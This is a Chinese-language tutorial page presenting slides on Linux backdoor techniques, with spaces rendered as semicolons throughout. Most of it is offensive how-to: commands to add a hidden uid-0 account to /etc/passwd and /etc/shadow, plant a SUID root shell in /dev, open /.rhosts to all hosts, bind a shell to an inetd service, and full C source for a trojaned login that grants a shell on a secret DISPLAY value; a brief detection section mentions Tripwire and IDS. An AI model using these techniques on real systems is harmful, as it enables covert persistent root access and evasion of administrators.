萬盛學電腦網

 萬盛學電腦網 >> Linux教程 >> Linux系統後門技術及實踐

Linux系統後門技術及實踐

class="152931"> 作者:艾奇偉;
Mail:[email protected];
Page:http://www.whitecell.org;
Copyright:;Whitecell;Security;Systems;

概述;

後門簡介;
常用後門技術;
後門的檢測;
實例講解:login後門;

後門簡介;

入侵者完全控制系統後,為方便下次進入而采用的一種技術。;
一般通過修改系統配置文件和安裝第三方後門工具來實現。;
具有隱蔽性,能繞開系統日志,不易被系管理員發現等特點。;

常用後門技術;

增加超級用戶賬號;
破解/嗅探用戶密碼;
放置SUID;Shell;
rhosts;+;+;
利用系統服務程序;
TCP/UDP/ICMP;Shell;
Crontab定時任務;
共享庫文件;
工具包rootkit;
可裝載內核模塊(LKM);

增加超級用戶;

#;echo;"e4gle:x:0:0::/:/bin/sh";>>
/etc/passwd;
#;echo;"e4gle::-1:-1:-1:-1:-1:-1:500";>>
/etc/shadow;
如果系統不允許uid=0的用戶遠程登錄,;
還需要增加一個普通用戶賬號。;

破解/嗅探用戶密碼;

獲得shadow文件後,用John;the;Ripper;
工具破解薄弱的用戶密碼。;
安裝sniffit等嗅探工具,監聽telnet、ftp等;
端口,收集用戶密碼。;

放置SUID;Shell;

#;cp;/bin/bash;/dev/.rootshell;
#;chmod;u+s;/dev/.rootshell;
普通用戶在本機運行/dev/.rootshell,即;
可獲得一個root權限的shell。;

rhosts;+;+;

#;echo;"+;+";>;/.rhosts;
#;rsh;-l;root;victim.com;csh;-i;
遠程可以得到一個rootshell。;

利用系統服務程序;

修改/etc/inetd.conf,;
daytime;stream;tcp;nowait;/bin/sh;sh;-I;
用trojan程序替換in.telnetd、in.rexecd等;
inted的服務程序;
重定向login程序;

TCP/UDP/ICMP;Shell;

BindShell,大部分是基於TCP/UDP協議;
的網絡服務程序,在高端口監聽,很容易;
被發現。;
Ping;Backdoor,通過ICMP包激活後門,;
形成一個Shell通道。;
TCP;ACK數據包後門,能夠穿越防火;
牆。;

Crontab定時任務;

通過Crontab程序調度已安裝的後門程序;
定時運行,一般在深夜時段,是系統管理;
員不在線的時間。;

共享庫文件;

在共享庫中嵌入後門函數;
使用後門口令激活Shell,獲得權限;
能夠躲避系統管理員對二進制文件本身的;
校驗;

工具包rootkit;

包含一系列系統及後門工具:;
-;清除日志中的登錄記錄;
-;偽裝校驗和;
-;替換netstat、ps等網絡工具;
-;後門登錄程序;
易於安裝和使用;

可裝載內核模塊(LKM);

LKM:Loadable;Kernel;Modules;
動態的加載,不需要重新編譯內核。;
截獲系統調用,具有隱藏目錄、文件、進;
程、網絡連接等強大功能。;
自身隱蔽性好,發現難度較大。;
著名的LKM包有adore和knark。;

後門的檢測;

以自己的經驗,結合特定的工具,手工作;
一些檢測。;
使用Tripwire或md5校驗來檢查系統。;
借助IDS系統,監聽到目標機器的可疑網;
絡連接。;

實例:login後門;

入侵者先把原始的/bin/login備份,再用一;
段程序替換/bin/login。入侵者telnet登錄;
進來的時候,通過環境變量或者終端類型;
傳遞了正確的後門密碼,將直接獲得一個;
Shell;如果是普通用戶登錄,將會重定;
向到原始的login文件,來處理正常的登;
錄。;
最簡單的login後門ulogin.c源代碼如下:;

實例:login後門;

#include;<stdio.h>
#define;PASSWORD;"passWORD";
#define;_PATH_LOGIN;"/sbin/logins";

main;(argc,;argv,;envp);
int;argc
char;**argv,;**envp
{;
char;*display;=;getenv("DISPLAY")
if;(;display;==;NULL;);{;
execve(_PATH_LOGIN,;argv,;envp)
perror(_PATH_LOGIN)
exit(1)
};
if;(!strcmp(display,PASSWORD));{;
system("/bin/csh")
exit(1)
};
execve(_PATH_LOGIN,;argv,;envp)
exit(1)
};
copyright © 萬盛學電腦網 all rights reserved